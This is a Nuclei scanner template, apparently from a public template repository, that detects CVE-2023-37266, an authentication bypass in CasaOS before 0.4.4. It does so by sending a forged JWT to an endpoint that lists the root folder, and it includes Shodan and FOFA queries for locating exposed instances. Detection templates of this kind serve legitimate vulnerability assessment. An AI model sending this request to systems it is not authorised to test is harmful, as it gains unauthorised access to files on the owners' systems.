nuclei-templates/http/cves/2023/CVE-2023-37266.yaml

55 lines
2.2 KiB
YAML
Raw Normal View History

id: CVE-2023-37266
info:
name: CasaOS < 0.4.4 - Authentication Bypass via Random JWT Token
author: iamnoooob,DhiyaneshDK,pdresearch
severity: critical
description: |
CasaOS is an open-source Personal Cloud system. Unauthenticated attackers can craft arbitrary JWTs and access features that usually require authentication and execute arbitrary commands as `root` on CasaOS instances. This problem was addressed by improving the validation of JWTs in commit `705bf1f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation allows unauthorized access to the CasaOS system.
2023-09-06 11:43:37 +00:00
remediation: The problem was addressed by improving the validation of JWTs in 705bf1f. This patch is part of CasaOS 0.4.4.
reference:
- https://github.com/IceWhaleTech/CasaOS/commit/705bf1facbffd2ca40b159b0303132b6fdf657ad
- https://github.com/IceWhaleTech/CasaOS/security/advisories/GHSA-m5q5-8mfw-p2hr
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2023-08-31 11:46:18 +00:00
cve-id: CVE-2023-37266
cwe-id: CWE-287
epss-score: 0.07286
epss-percentile: 0.93418
2023-09-06 11:43:37 +00:00
cpe: cpe:2.3:o:icewhale:casaos:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
2023-08-31 11:46:18 +00:00
vendor: icewhale
product: casaos
2023-09-06 11:43:37 +00:00
shodan-query: http.html:"/CasaOS-UI/public/index.html"
fofa-query: body="/CasaOS-UI/public/index.html"
2024-01-14 09:21:50 +00:00
tags: cve2023,cve,oss,casaos,jwt,icewhale
variables:
jwt_data: '{"iss":"casaos","exp":1790210322,"nbf":1790199522,"iat":1790199522}'
jwt_token: '{{generate_jwt(jwt_data, "HS256")}}'
http:
- method: GET
path:
- "{{BaseURL}}/v1/folder?path=%2F"
headers:
Authorization: '{{jwt_token}}'
matchers:
- type: word
words:
- '"success":200'
- '"message":"ok"'
- 'content'
- 'is_dir'
condition: and
extractors:
- type: json
json:
- .data.content[].path
# digest: 490a0046304402202456282812c8950f50fc5cc7eb0ca99769c7459a0f64638d04b0ef91f869b1260220511f7eebd36609201bb5cfc6c59f202615f6c629009957f1eeae76fe9b6c1be5:922c64590222798bb761d5b6d8e72950